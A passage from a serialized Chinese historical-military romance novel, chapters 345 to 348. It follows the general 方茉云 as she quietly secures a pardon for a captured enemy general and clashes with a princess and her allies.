可鸿音公主求情，却让卢家陷入两难，茉云此举不过借着这份私怨，驳了鸿音公主的情面，罪过都背在了自己身上。
而此时，白神医身旁的不言显然领会不到其中深意，目光深深地看着茉云，深吸了一口气说道：“那新元的林宇元帅，不过是听命行事，竟让方将军如此记恨，不肯放过他的表妹夫妇？”
茉云顿时抬头冷冷地看了不言一眼，嘴角微微勾起一丝冷笑，但她并未回应。
白神医见状，立刻一把拉住了不言，想要阻止他再继续说下去。
然而，不言却愤愤不平，语气充满了失望说道：“方茉云，你就如此心安理得地享受着世人待你的好，但若谁让你不悦了，你就一定要置之死地!”
白神医顿时瞪了不言一眼，严厉的说道：“回医营里去！”
“师傅，我说错了吗？”
白神医素来是个极其温和的人，此时却难掩怒火的怒斥道：“去！”
他眼神中充满了不容反驳的严厉，显然已经忍耐到了极限，不言才深吸一口转头往营外走去。
而就在这时，萧怀逸嘴角一挑，半带笑意地接过话头，一脸意味深长地说道：“白神医何以如此动气，倒也没错啊，世上不缺人待方将军好，就连天山雪莲都双手奉上，着实是一片深情厚意。”
话音刚落，营帐内的空气仿佛凝结了一瞬，氛围顿时一片冷凝。众人目光微变，有些不自在地垂下了头。若辰却忿然瞪向怀逸，这般言辞属实过了！
茉云却忽然笑了，笑声虽轻，却压得人透不过气来，语气如刀：“你们是这么想幽戎的？那他岂不是待卢正啸更深情厚意，连他的命都舍不得要！”
那笑意宛如风雪之夜中突兀升起的一簇寒焰，她转头看向萧怀逸，眼中更是闪过一丝森冷的寒戾，
“萧怀逸，你也太小看他了。幽戎是要告诉你们——连皇帝都不能杀了卢正啸，他幽戎一定要亲手取他的命！这辈子一定要赢他！这执念就像刀子插在心头，拔了就断气了！”
众人都微微怔住，这一刻，茉云的气势如浪潮席卷，压得一时竟无人能言。
她缓了一口气看向萧怀逸，冷笑道：“深情厚意？你回去写戏曲本子吧。现在这里所有人都该想一件事——那就是打败峑戎，平定南境！为这个目标，万事皆可抛。你们的对手，早就把亲人、朋友、信仰全都扔了，斩断所有退路，支撑他的只为赢。”
茉云冷冷一笑，像是压抑许久的情绪终于破堤宣泄而出。
“而你们呢？左右为难，难以取舍，腹背受敌，内忧外患，还有些一堆专门来帮倒忙的人，这些人，人贱且娘……深情厚意，别笑掉了对手的大牙。”
话落如刀，风过营帐，若辰嘴角微微透出了笑意，怀逸顿时眼神中带着几分气急败坏的瞪向茉云。
卢老太君则无语的说道：“行了，都先回吧，不要打扰少帅处理军务。”
众人离开之时，茉云望向他们的背影，没好气的白了一眼，此时身后却传来了一道深沉的声音。
“什么叫做万事皆可抛，你答应我，必须留着自己小命！”
茉云顿时转过身，怔了半刻看向正啸愠怒的双眸问道：“那你能承诺我吗？”
“不能，但你必须活！”
“那凭什么！”
“因为你的命支撑着我回来！”
345.如愿
茉云深吸一口气看向正啸那严厉的眼神，感受到了他眼中的深邃与决绝，那种目光让她不自觉地愣住了。
正啸眉头紧锁，似乎神情都在对她在施加一种无形的压力，他再一次低沉地说道：“答应我。”
“好，我答应你。”茉云吸了口气终于应了，但她顿了顿，眼中瞬间闪过一丝狡黠的笑意，“但我有个条件。”
正啸的眼中微微闪烁过一丝为难，他知道为了这一战，他不能有任何的畏惧和保留……
茉云趴在桌子上忽然凑近他，带着一脸娇俏的笑意说道：“日后若是你逃离京城不成，你姑父不放你走，你就跑，然后隐姓埋名。但是你放心，我不会让你人世漂泊的，你可入赘我方家，如何？”
正啸瞬间被逗笑了，茉云亦扬起了嘴角，笑得更加灿烂：“不用着急答复，你考虑考虑。我先写张字据，你想好就签，免得日后谁赖账。”
就在此时，营帐外传来了陈梦林的呼喊声，声音急促而带着一丝愤怒，她冲着来接她的林宇吼道：“林宇，我不用你们管，我愿意跟我丈夫一起死，我身是他的人，死亦是他家的鬼，我绝不会回新元。”
林宇深吸了一口气看向她的表妹，眼中闪过一抹复杂，他家中之人都交代，无论如何要将梦林带回家，这可是他奶奶的遗愿。
而他身旁的副将却一脸嫌恶地说道：“表小姐，你已经丢尽了陈家和林家的脸。你在外私自成婚，现在还要在友军面前让林帅颜面扫地？
梦林则一改平日的清冷，愤怒如火山爆发，对着林宇咆哮道：“我丢了陈家和林家的脸？”
说完，她便忽然失控般仰天长笑，笑声中透着无比的愤懑和痛苦。
“林宇，当年我娘是如何待你，待林家的？为了林家被逼嫁给陈家的庶出之子，结果后来呢？你们要带我回去，无非是因为外婆疼惜我，可外婆已经走了，而我愿意跟我丈夫走！”
就在此时，鸿音公主命人压了一个人过来，卢家军一看顿时双眉都迸射出怒火的瞪向尚枫——这个冥顽不灵的敌军守将。
尚枫带着镣铐被押解着走进了营帐，满身是伤，衣衫破碎，鲜血斑斑渲染了原本笔挺的衣襟，但他依旧昂首挺胸，步伐稳健。
直到听见梦林那愤怒的咆哮声，他才微微一怔，眼中闪过一抹不易察觉的痛苦。
梦林看见尚辰的一瞬，顿时不顾一切地要冲上去，却被林宇身边之人拦住，几乎是歇斯底里地喊道：“夫君！”
她的眼神中带着无尽的思念与悲伤，眼中泪光闪动，终于看见了自己朝思暮想之人……
而尚枫看着冲向自己的梦林，神色一变缓缓开口道：“事已至此，我已无来日，我与你和离，你跟他们走吧。”
梦林顿时停在了原地，整个人好似被此话击中，双眼不可置信地看向尚枫，颤抖着问：“你说什么？”
尚枫深吸了一口气，眼中闪过一丝沉痛，他咬牙说道：“也许你……真如你说的，你是个不祥之人。所以……累我走到了今日。”
林宇听到此话，眼中怒火冲顶瞪向尚枫，而此时奇能等人正在收拾东西准备回西南部落，亦听见了尚枫的声音，他们都从营帐中走出来，正奇要走过去，被西今拦住了，最终奇能也摇摇头，正奇才深吸一口气站在原地。
他们最终只能远远地看向他，心中也知道，这也许是他们见尚枫的最后一面。
梦林深吸一口气，凝视着尚枫，眼眶中盈满了泪水，却强忍着内心的翻腾，温和的笑了，轻声说：“我知道你为何要这么说，但我绝不会离开你！”
尚枫听到这句话脸色一沉，双眉紧蹙，眼中闪过一抹痛苦，他顿时转身，语气冷冽决绝的说道：“你害我至此，还说这些作甚……我尚枫现在就休了你，从此你我再无瓜葛，不要在此发疯了！”
梦林看着尚枫冰冷的背影，眼泪从脸颊两旁滑落。她轻轻擦去脸上的泪水，依旧一脸淡然地说道：“对，我是发疯，我陈梦林早已是一颗入魔疯癫的心，是你让我安宁了下来。”
茉云听到这话忽然站起身，默默走出了营帐，站在营外远远地看着眼前的一幕。正啸微微抬目看向她，却没有打扰她，只是让抬手让万莫将披风拿给她。
陈梦林看向尚枫微微笑了，目光如痴的追忆起曾经的誓言，她的声音如此清晰而坚定：“你曾说，若此战能护住司融，你就辞官不做，带我归隐山林，终日便是明月清风与我……此生我们没能达成，但无妨。哪怕是黄泉路我今生也一定会陪你走到底。若有来生，愿与君共度韶华，闲庭信步，坐看四季花落花开。”
她的话语好似穿透了尚枫的心。他的眼神一瞬间变得复杂而迷茫，让他咬紧了牙关。
然而，陈梦林下定了所有的决心，脸上露出一丝决绝，忽然猛地朝一旁的大石上狠狠撞去。周遭一切好似都在这一刻凝固了。
所幸茉云早就敏锐地察觉到，她一抬手，润吉将军和身后的守卫便迅速上前拦住了梦林。
梦林的头只是轻轻撞到了石头上，但也磕出了血，鲜血顺着额头流下，她随即跌倒在地，被他们瞬间控制住了。
尚枫看到这一幕愣在当场，顿时眼眶微润心中痛得无法言喻。他紧握双拳咬着牙关，声音都带着几分颤抖的说道：“你这又是何苦呢？”
鸿音长公主深深地看了林宇一眼，那眼神中带着几分无奈与冷静，好似在默默示意着他：若真是如此，梦林一心求死，谁也无能为力。
林宇脸色铁青，心中翻涌着复杂的情绪，这是他奶奶临终前唯一的嘱托，自己却无能为力。随即，他抬目望向正啸营前的茉云，眼中不自觉地透出一道锋利的寒光。
茉云亦感受到他的目光，冷冷地回视了他一眼，便转身回了正啸的营帐。
茉云心中很清楚，不到一炷香的时间，林宇便知道是自己阻止了卢家去请求司融新国主赦免尚枫之事，鸿音公主他们对卢家军当真是了如指掌。
茉云冷冷地坐下，对眼前的一切早已洞若观火。可当她望向桌案的一瞬，顿时一愣，自己写的那张约书上，正啸已经签上了大名，心底微微一怔。
她转头望向正啸，他依旧一脸平常地看着堆积如山的军务文案。茉云忽然伸手抱住了他，一再抱得更紧，好似生怕他化作一团云雾，消散了一样。
正啸被她突如其来的拥抱，抱得轻轻一愣，随即俯身低头望向他温和的笑了说道：“我也不至于像他那般蠢笨？”
茉云嘴角亦扬起一抹笑意，轻声回应道：“那你放心，我也没有陈梦林那么死心眼。”
正啸温和的抬手搂住她，稳稳地将她揽入怀里，继续专注于手中的军务公文。片刻之后，茉云
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在他的怀里睡着了，呼吸平稳神情安宁。
正啸轻轻低头看着她，眼中闪过一丝柔情，就这么让她安稳的睡着。
营帐外，尚枫被押解走了，明日便是他的行刑之日，林宇站在一旁眉头紧锁，眼中闪过一丝冷意。他抬手便击晕了陈梦林，命人将她带走，除了强行将她从这一切的痛苦中抽离，他亦没有别的办法。
晌午后，西王爷被鸿音邀请来到了卢家军营帐，一如既往的神情懒散，鸿音长公主当着林宇的面前向他苦苦求助，希望西王爷能替尚枫向司融新国主求情。
林宇看着鸿音堂堂新元国后如此低声下气求人的模样，不禁皱紧了双眉。
西王爷听后，一脸错愕地看着她，忍不住笑了：“鸿音啊，你王叔我不过是个吃喝玩乐的王爷。”
鸿音顿时沉默了，她知道这是西王爷的为难，但她并没有放弃，依然诚恳的请求道：“王叔，林宇表妹和她丈夫情深义重，不肯独活，若您能帮忙劝说司融国主放过他夫君，新元必将感激不尽。”
西王爷苦笑着摆摆手道：“王叔只懂风花雪月，这等爱恨情仇的事，你要不还是问问少帅吧。”
稍微晚些时候，执礼将西王爷也拒绝了鸿音之事汇报了正啸，正啸闻言眉头微微蹙起，沉默不语。
茉云则眼中闪过一丝冷漠，心中不禁感叹，这位长公主真是好生假，苦苦哀求西王爷？西王爷是个边陲王爷，若没有皇上的旨意，怎么敢去为了新元国的人情，向司融国主求情？除非他嫌命长。
晚膳后，西王爷在军营中再次设宴，宴请西南部落帮他一起押送粮草的少主们，不肯他们走，又喝得酩酊大醉，夜深才准备离开，哼着小调踉踉跄跄，他突然看到马车旁有个黑影，吓得差点摔倒在地，迷迷糊糊地定睛一看，那人是茉云。
西王爷摸着他的大肚子迷迷糊糊的说道：“茉云啊，这大半夜的在这儿吓我干什么？”
茉云冷冷地望着他，突然从怀中取出了一把精美绝伦的短刀，递给了西王爷。西王爷愣了半刻，看着茉云，神情瞬间变得严肃起来。
茉云平静地说道：“去跟司融国主说让他放了尚枫。”
西王爷看着茉云，她的语气没有一丝犹豫，西王爷眼神顿时变得复杂问到：“为什么？”
“没有为什么，想救就救。”
“你不用这个恩赏嫁卢家？”
茉云顷刻被逗笑了，眼中闪过一丝畅然和洒脱，西王爷最终接过了短刀，点了点头。
西王爷看着茉云准备转身的身影，他忍不住感叹道：“人活得你这么随性和畅快，定然很爽吧？”
茉云无语地脸上浮现出一丝愤然：“你说啥呢，爽？打你一顿试试，哪哪都疼。”
西王爷又忍不住乐了，他摇头道：“你能怪别人，你就是欠！”
看着茉云的身影渐渐消失在夜色中，西王爷良久之后才上马车，他摸着大肚忽然笑了，若自己不是个王爷，而他不是卢家军中的将军，他定然会和她成为忘年之交，起码要喝他个三天三夜，可叹啊……
茉云独自回到自己营帐，望向营外那银辉散满大地，思绪渐渐飘远……陈梦林说她曾经疯魔之时遇见了她的丈夫，而他丈夫也曾许诺过清风明月和她。
不知道为何？自己就是忽然很希望，这人世能成全他如愿……
346.值得
翌日清晨，忽然传来消息司融国主下令，特赦了所有战犯之中唯一一人——尚枫将军，说他是爱国爱民忠于职守，并非参与任何篡位谋权之事，并允他可官复原职。
然而，尚枫最终决定辞官归故里，司融国主亦允了他。此消息迅速传遍了卢家军和铁狮军，而且在军中引起了震动。众人纷纷议论，司融国主为何会突然如此宽容，而其中的关键似乎是西王爷不知怎的清早去求了司融国主，才促成了这一局面。
随着消息传开，军中难免出现了种种传闻与猜测，毕竟不少弟兄就在与尚枫一战中吃足了亏，渐渐军中亦有人议论，此事就是茉云和长公主斗法，而茉云最终没能争赢长公主……
这日，奇能他们也出营去见了尚枫。虽然尚枫身上伤势未愈，但看见他们就热情的非要邀请他们去家中做客，让梦林亲自下厨，准备了丰盛的酒菜，半分没有鬼门关前刚走了一遭的感觉，和他们说笑畅饮。
梦林也一改往日的冷淡，热情的招待每一位尚枫的好友。她的笑容中，满是温暖和关切，好似顷刻就回到了以往家中欢乐无忧的时光。
临走时，正奇抱拳打趣地说道：“尚枫，你遇到嫂子这般刚烈而忠贞的女子，真是几辈子修来的福气。”
这句话顷刻让尚枫露出了一丝畅然的笑容，他伸手抚了一下梦林的头，梦林带着几分温柔的笑了，两人站在一起彼此的眼神都蹚出深深的情意。
这一幕正好被从街角的隐蔽处不言看见了，他静静地站在那儿，眼中闪过一丝欣慰，心中一块大石终于落了地。他轻声喃喃说道：“师傅，您在天之灵，应该亦能瞑目了。”
“行了，你这恩爱秀的，我们就不在此干瞪眼了。”
“你们也迟早会遇见良人！”尚枫拍着奇能的肩膀说。
“他？他的良人他早碰见了，没戏！”正奇喝得有点多了，调侃到。
西今无语的望向正奇，奇能则不介意的笑笑。
梦林看向奇能忍不住的问道：“那方茉云……”
“嫂夫人，方将军决计不是嫂夫人以为的那般女子，若人看她只是留于表面，她许是这世上最恶之人，若你了解她，便知她所行之事，可让天下人仰望崇敬！”奇能望向梦林，眼神笃定的说道，显然他的语气中是不允许任何人置喙茉云。
梦林坦诚的点点头：“是我太过浅薄，那日听她在营中驳斥那新元王宫里的老嬷嬷，我当时虽悲愤交加，但是依然平身第一次看见有人骂那些仗势欺人之人，骂得那么爽！”
“嫂嫂可是没见识到她最狠之时……千军万马也不一定能要我正奇的命，但是她两句话，就可让我不想活了！”正奇想着评价到，说完还不禁四处狐疑的张望了一番，众人顿时忍俊不禁。
他们几个回到营帐时，准备跟元帅告辞，明日一早就回西南部落，却恰逢元帅营帐里热闹非凡，茉云下令将不言押解至主营。
缘由是王强下属的探子查到，不言调制了大量致人晕厥的毒药，怀疑他曾打算用毒药毒晕看守尚枫的人。
元帅问不言可有此事，不言坚决不认罪，他气急败坏地大骂：“元帅，是方茉云没有报得了林宇的仇，害死那陈梦林夫妇，就把气都撒到我身上！”
茉云的脸色顷刻变得冷峻，她当即下令道：“来人啊，就地仗打五军棍。”
没等元帅等人晃过神，军棍就打到了不言身上，每一棍下去，声音清脆、沉重，打得不言哇哇叫疼，然而他的怒火丝毫没有减弱，反而更加激烈，咒骂着：“方茉云，你会有报应的！”
茉云冷冷地注视着他，眼中没有一丝怜悯：“对，我若为恶，自有天收，而你应该感激自己没这下毒的胆！但如果你再敢用毒，不等老天爷收你，我就让你见不到第二天的太阳！你给我记住，你不言此生只能解毒！”
不言微微一怔看向茉云亦不敢再说话。
旁边的白神医也愤然地说：“你是该打，他如果再敢行此歹毒之事，为师绝对不会饶恕你！”
不言表情依旧愤懑，但再也没有勇气反抗。他当然知道自己是差点行差就错，只是最后一步始终没下得去手，他明白懂毒之人一旦用毒，那便是开始坠入万丈深渊……
翌日，西王爷硬是要留着奇能他们跟自己一起走，他摸着肚子笑着说：“到处都是战乱，本王那些随从，终日只知道跟我饮酒玩乐，现在外面局势复杂，要是遇到啥事，他们指定跑得比我还快。跟你们这些小兄弟一起走，至少安稳些，所以莫急莫急，我们今日再喝一顿大酒，明日一早出发。”
奇能等人只当从命，西王爷平日里就是这么稀里糊涂，正啸早在军中下令，卢家军从自己以下，除了论功行赏和国庆等特殊时刻，军中一律不得喝酒。
然而，每次西王爷到卢家军中，他总是喝得东倒西歪，走不动道，所以他也很喜欢奇能他们这些直率、豪爽又能喝酒的小兄弟。
今日是鸿音和林宇他们借了卢家军的宝地设宴，盛情款待西王爷，林家素来知恩图报，他是在西王爷离开之前想好好答谢一番，而鸿音公主为了化解尚枫与卢家军之间的矛盾，特地邀请了尚枫夫妇前来，希望能缓和双方的紧张关系。
晚宴前，林宇带着他的军中副将和随从进入卢家军营，他们对诸位将军都客客气气，但唯独对茉云格外冷漠。经过茉云时，他们的目光从她身上扫过，却好似没看到她似的。
林宇身边的副将，更是嚣张地说道：“真是老天有眼，小人终究没得逞。”
任谁都从他的言辞中听出明显的轻蔑和挑衅。茉云依旧是一副风轻云淡的姿态。她没有被邀请参与宴会，便去了白神医处喝药。
此事不言在一旁磨药，带着一丝挖苦的语气说道：“难得军中有酒喝，居然没有方将军的份！”
白神医听到此言，旋即一巴掌拍在了不言的脑袋上：“磨你的药！”
不言依旧满脸愤然的磨着药，虽然他对自己下毒设想有所反省，但心中的气依旧没消。
茉云接受完针灸之后，缓缓走出营帐，步伐轻盈面色平静。
然而，一出营帐，她就看见西王爷一脸醉态，被几个随从扶着摇摇晃晃地走出来。周围的人都在欢声笑语中，气氛显得格外热闹祥和。
茉云立即转身故意绕开了他们
然而，就在这一瞬间，鸿音公主远远地看见了她，脸上露出一抹温和的笑意。
她神态温文尔雅，话语却带着一丝强势：“方将军来得正好，之前方将军和林帅之间的有些误会，全是因我而起，也希望你能到营中喝一杯，咱们化解这小小的嫌隙，日后也好共抗峑戎。”
这番话说得格外大气，鸿音公主的神情亦是慈眉善目，言辞恳切。
茉云心中一阵冷笑，这种故作大方的姿态真让她心里作呕，心想，有些人终究就是不对盘。
而此时林宇皱眉说道：“王后……”
鸿音公主微微一笑，抬手拦住了他，她的神情中没有一丝拒绝的余地，林宇显然不愿与茉云和解，但面对鸿音的坚持，他只能默默认了。
而茉云目光微冷，眼中闪过一丝不屑，压根不想给这个面子，亦完全无心与她周旋。
怀逸眼见茉云神情如此冷漠，马上缓解说道：“公主，军中有规矩，未得少帅允准不得喝酒。”
正啸一脸深沉并未言语，他并没打算开口让她赴宴，他也不想开启一场无谓的争执。
鸿音公主微微一愣，脸上露出一抹亲昵的笑容，轻轻笑道：“正啸，你也是，今天是庆祝两军顺利合营的时刻，怎么能让方将军一人缺席呢？”
茉云此时心中冷笑，为什么独独让自己缺席？还不是您堂堂长公主要像众人证明你才是那说了算之人！茉云毫不犹豫地准备转身，不想再和他们废话。
就在此刻，突然听到一声低沉的吼声，“站住！”
她停住了脚步，转身看向了林宇。林宇冷冷地看着她，眼中亦闪过一不屑。
他一抬手，随即一名下属端来了两杯酒，林宇冷声说道：“王后让你喝杯酒，方将军不赏脸，还是如何？”
他的语气中有着明显的强硬和威胁。这一声话顿时将所引起有目光都集中到了茉云身
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上。
正啸的眉头微微一蹙，眼中闪过一丝明显的不悦，怀逸则瞬间拉住了他。低声说道：“若是此时出言维护，情况只怕更加复杂。”
茉云的手微微握紧指节泛白，心中顿时怒气上涌。卢家军中人都看着，以往又有谁能如此裹挟逼迫方茉云？
而她最终伸出了手握紧酒杯，端起那杯酒，一饮而尽。酒水滑过喉咙，竟然如此滚烫，烫得自己好似都麻木了……
在铁狮军众人冷嘲热讽的目光中，茉云淡然地放下酒杯，转身离去。奇能远远的站在原地楞楞的看着，这杯酒如今的方茉云竟然喝了下去，但他瞬间又释然了，那定然是她觉得是值得的！
茉云回到营帐中，眼神都有几分暗淡，她坐下便沉默了很久。
此时，若辰端着一大盘点心走了进来，见到茉云那愤然的表情，他忍不住笑了出来，轻轻放下点心，笑道：“他走不开，我替他来看看你，宽慰你一二。”
茉云毫不客气地拿起点心，递给旁边的万莫，眼睛却冷冷地瞪向若辰，“我能揍他，能揍你吗？你替他，你能挨得住我几拳几脚？”
若辰顷刻逗笑了，轻轻的摇着扇子：“我已经是有妻女之人，确实不能这般轻易交代了自己。”
茉云满脸愤然咬着点心，嚼了嚼微微愣了一下，感受到点心的美味，她的怒气瞬间就消散了。
若辰见状，又忍不住笑出声，果然，这点心比卢正啸好使。
“哪儿来的？”
若辰摇着扇子，随口说道：“据说是陈梦林做的，药食同源嘛，她亦擅长食物。”
茉云微微一怔，旋即瞪向若辰，顿时万莫生怕茉云把桌子掀了，赶紧端来了那点心。
茉云无语地看着他，说到：“你放心，食物是无辜的，我跟谁过不去，都不会为难它们，诶……你给我留点！”
两人又开始狼吞虎咽，茉云边吃边评价到：“这个女的活着也算是对人间有贡献的！”
若辰摇着扇，神情笑得愈发畅然，而就在这时，执礼走了进来，一副为难的模样。
茉云看着他，从他眼神立刻就觉察出异样问道：“又怎么了？”
执礼深吸了一口气，低声说道：“老太君说让你这两日不如先住到城中客栈，安静养伤……”
茉云顿时抬头，目光锐利地看向执礼，若辰也皱起了眉头，看向执礼，茉云本是卢家军中人，凭何让她离开军营？”
执礼无奈地叹了口气：“这两日铁狮军在军中往来频繁，老太君也怕耽误你养伤。”
茉云瞪大了眼睛，冷笑着反问道：“是吗？”
执礼见状，叹了口气，“是长公主提议的，说为免冲突，老太君也跟我说，他们一再挑衅，万一你忍不住再打一架，这伤就不用养了，你受点委屈，至少得个安宁！”
若辰吸了口气，旋即说道：“我去跟正啸说！”
茉云怒不可遏，猛地站起身来，“问他作甚，走就走！”
就在她走到门口时，忽然停住了，愤然转身，将剩下的点心和万莫分了。她狠狠地将自己那份点心揣进自己的兜里，头也不回地走出了营帐。
若辰无奈地看着她的背影，轻笑着说道：“你啊，避避锋芒也好，晚点让正啸去接你回来。”
茉云一个人来到了城中，住在客栈里，望着外面一盏一盏熄灭的万家灯火，心中不禁感到一丝怅然。
夜已深，周围的一切都变得空旷而冷清。星辰隐匿在云层中，月色更是昏暗，整个街道似乎都沉浸在一种无声的沉寂之中，好似没有一丝生气。
茉云躺在床上，突然觉得自己像是被黑寂笼罩，心里有股从未有过的冷意不禁蔓延开来。他逼迫自己尽快睡着，至少摆脱这一刻所有感受……
可就在半梦半醒之间，一股熟悉的气息猛然靠近，茉云迷蒙的睁开双眼，只见他俯身一手撑在床上，另一只手瞬间将自己卷袭般揽到身下，炙热的吻，带着无法言明的情绪，铺天盖地而来。
茉云想挣扎，可是这个吻极尽温柔而绵长，好似能化骨般，让她只能沦陷……
347.期许
夜深如漆，万籁俱静，月色掩藏，云遮含羞，窗外微微春风拂过，树枝随之摆动，好似在轻抚这份浓稠的情意。
他的拥抱总是这般温暖而有力，好像要将自己融入他的身体，他的吻又是如此霸道而蛮横，让茉云顷刻间只剩一丝力气，仅能紧紧握住他的衣襟。
良久之后，正啸才松开了茉云，用那深邃的双眸深深注视着她，看向她那双桀骜而倔强的双眼，深吸了一口气，是自己让她这么一个宁愿断头都不肯低头之人，低头了……
正啸伸出手，手指轻轻触碰她的脸庞，肌肤摩挲间满是爱意和心疼，他的手渐渐穿过茉云那漆黑凌乱的发丝，四目相触之时，眼中流转的情意在交融。
茉云微微仰起头，轻柔地笑了说道：“我一直喜欢放长线钓大鱼，谋事之时什么苦都能吃……只要能谋你一辈子就好。”
“好！”正啸俯身贴近朱唇之时温和的说道，言毕便又吻了下去，如此炽热的吻.瞬间点燃了彼此心底的渴望，茉云的双手亦渐渐环上他的颈脖，回应着这份浓烈的情意。
帐中温度几许,床榻声声颤动,仿若蕴着无尽的温柔与缠绵,将这夜色晕染得沉醉而迷人。
翌日清晨，西王爷好像昨夜的酒还没醒，迷迷糊糊地准备启程。醉意未消的他晃晃悠悠地站起身，随即被几名随从扶着上了马车。他那一副东倒西歪的模样，怎么看都不像是即将启程远归的样子。
元帅则下令，众将士随同他一同为西王爷送行。
正啸正带着茉云回营，他一入营，鸿音的目光便紧紧地盯着正啸。她的眼神中充满了惊诧，昨夜，她的探子回报——正啸深夜去了城中，整整一夜未归。
最初，她还不敢相信此事，但此刻看着正啸带着茉云一同回营，心中难掩震惊。她无法想象正啸怎能做出这样的事情？深夜去寻这方茉云，彻夜未归？她心中一时百感交集……
正啸则依然是一脸的坦然，毫不避讳地面对着鸿音那充满震惊的目光。茉云站在他身旁，也依旧气场十足，像一座山峰巍然屹立，面对着铁狮军中的冷眼，亦毫不在意。
此时，奇能等人走上前来，与茉云辞行。茉云只是没好气地点了点头，示意他们最好尽早离开这些是非之地。
尚枫夫妇他们也悄然前来送别奇能他们，气氛虽然平静，却难掩一丝微妙。
就在此时，西王爷已经被随从扶上了马车，醉意未醒的他还迷迷糊糊地摸着自己鼓鼓的圆肚，打着哈欠懒懒地朝茉云看去。忽然，他摇摇晃晃地伸了个懒腰，带着些许醉意的声音传来。
“茉云啊，昨天你也没来陪我喝酒，本王还没问你呢！你昔日立了大功，皇上许了你一个大愿，你不留着日后让皇上赐婚你一个好夫婿，怎么用它来赎尚枫将军的命？那你自己日后怎么办啊？”
众人听到这话，顿时吃惊地抬起了头，目光齐刷刷地落在茉云身上。茉云的脸色顿时一沉，没好气地瞪向西王爷：“王爷，您是不是酒未醒，说酒话呢！”
西王爷愣了半刻，忽然命人从马车内，取出了那把众所周知的皇上御用宝刀，他夸张地摆出一副要下车的架势，装作满脸惶恐地问道：“什么？你意思本王理会错了？那我赶紧去跟司融国主解释清楚，这可如何是好！”
茉云随即一脸无语的拦住了他，说道“行了，您没理会错，您一路走好，赶紧出发吧。”
西王爷故作一副惊慌失措的样子拍着胸脯，带着一丝夸张的戏谑神情转头钻了马车。坐下后，他却一脸坦然地笑了。
自幼身在皇家，那些尔虞我诈，首鼠两端他早已是司空见惯，什么是真，什么是假，他一眼便知，这些年他也早已逼自己成了一个无心之人……可是这一刻，他就想说出来。
顿时，众人的目光齐刷刷地投向了茉云身上。奇能亦微微一笑看着她。茉云感受到这些目光，眉头紧蹙，准备转身离去。
然而，就在此时，陈梦林突然走出，挡住了她的去路。她直视着茉云，目光中透露出一丝迫切，直接问道：“您为何帮我们？”
茉云的双眉微微蹙起，目光扫向陈梦林，又看向她身旁那位魁梧高大的、面容刚正的尚枫。尚枫也目不转睛地注视着茉云，眼中亦满是疑惑。林宇站在一旁，更是震惊地望向她，似乎也在等待茉云的答案。此时，整个周遭都变得宁静，好似所有人都屏息以待着。
茉云深吸一口气微微挑眉，她的声音略显迟疑，却又带着一丝无奈的说道：“那个……素闻尚枫将军仁义无双，是……为国为民……”
她说到此咳了咳，只当是润了润嗓子，可最终那些符合时宜，气度大方的好话漂亮话，此刻硬是喉咙里蹦不出来，她自己心中都不禁感叹，自己属实不是鸿音公主那块料……
“算了，哎，鄙人不才，这些识得大体之言，假得我属实说不出口！”茉云不禁自嘲的无奈说道。
萧怀逸站在一旁，神情顿时透出一丝烂泥扶不上墙的无语，若辰在一旁则忍不住笑了看向茉云。
然而，陈梦林吸了口气，眼神坚定地看着茉云：“不论如何，您的恩德，我陈梦林一生铭记。若有机会，我夫妇一定报答……”
茉云眼神渐渐恢复了往日的冷峻，透出一丝狠戾，打断了陈梦林的话，说道：“我与你夫妇两谈不上恩德。若要感谢，你们便感谢老天吧。你丈夫当日为邀忠名，冥顽不灵，战败之时，负隅顽抗还拔箭射了我军少帅一箭。属实是老天保佑他。我未在场，我若在，你丈夫当场就没了。”
她的话语犀利，眼中闪烁着一股冰冷的杀气，卢家军中的人们听到茉云的话后，纷纷向她投去赞许的目光，心中顿感一阵解气。若辰亦笑了，看向茉云眼中的凌厉。茉云一向最护着正啸，对于任何威胁到他的人
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，她从不手软。
茉云的目光再次转向陈梦林，眼中闪过一丝冷漠:“至于你，不言曾说你与我皆同是苦命人，父母早亡，受人世蹉跎，不忿于世俗之恶。可陈梦林，尚不说己所不欲，勿施于人，可那些世俗的恶意曾将你推入万丈深渊，而你却将它们奉为信条，人云亦云且以此来评判其余女子，比如我！”
她的声音中带着一丝对陈梦林深深的轻蔑和冷漠，好似顷刻间看透了陈梦林，梦林深吸了一口气，眼中瞬间有了些许湿润。显然被茉云的话触动，眼中满是复杂，默默站在那里却没有反驳。
茉云冷冷地看着陈梦林，目光中没有一丝温度的继续说道：“你从为见过我，便可信誓旦旦的训斥于我，什么天下女子当以我为耻？哼，那又如何，关你屁事！”
顿时众人微微一怔，老太君拄着拐杖一副狗嘴里吐不出象牙来的神情，无奈的看着茉云。
“所以你两别再出现在我面前就行！”茉云没好气的说完打算走。
陈梦林不依不饶地拦着茉云的去处，问道：“那你为何又要救我们？”
茉云的眼中一瞬间黯淡，闪过一丝怅然，她没有立刻回答。
陈梦林却依旧紧追不舍地问道：“请您告诉我，究竟是为什么？”
茉云停下了脚步，缓缓看向陈梦林。眼神冷漠却带着一丝复杂：“陈梦林，你说若你丈夫死了，你会让全城陪葬。”
陈梦林微微一愣，眼中闪过一抹懊悔：“我不过是想让你们杀了我，我就算再恶，我也不至于干出这等事。”
茉云神情中忽然闪过一丝冷笑，嘴角微微扬起透着狠戾:“若是以前，这事我倒是干得出！而你，也干得出！”
梦林愣了半刻，茉云的话让她一时间无言以对。
“无非是觉得我得不到的，别人凭什么得到。”茉云的语气如此坚毅却复杂，不禁回望自己经历的无数次心灵挣扎与磨砺，“可如今，我的想法变了，变得截然相反。若感恩有人将你拉出深渊，那是否就不要活得像深渊里的人。”
说完，茉云没有再停留，径直转身离去，众人依旧注视着茉云离去的身影，她的背影都带着一丝不言而喻的力量……
若辰站在一旁，不由得看向正啸。正啸的眼底却流淌出深深的心疼，眼神中带着一种难以言说的情感。茉云并没有直接表露她的缘由，但正啸了然于心。
这场大战充满了未知与凶险，她从来都是如此坚毅，没有一刻动摇过她与自己剿灭峑戎、平定南境的决心。那份对远离战乱、相守到老的憧憬，不论在心底埋得多深，终究谁也不知是否能实现……
可当她看见境遇相似的陈梦林，茉云忽然希望能成全她——一个像自己一样拥有这份夙愿之人。让她可以和救赎她的这个男人，此生无憾，相守到老！
这好像是一种期许亦是一种寄托。
348.离开
西王爷透过马车窗帘的缝隙，看着茉云那挺拔坚决的背影，眼中微微泛起一丝感慨。他轻轻叹了口气，意味深长的说：“皇嫂，希望这丫头，不要重蹈皇嫂您的覆辙，您在天之灵保佑保佑她。”
他语气中的那份无奈与期许，似乎在为茉云的未来担忧，也带着一份无法言说的复杂情感。
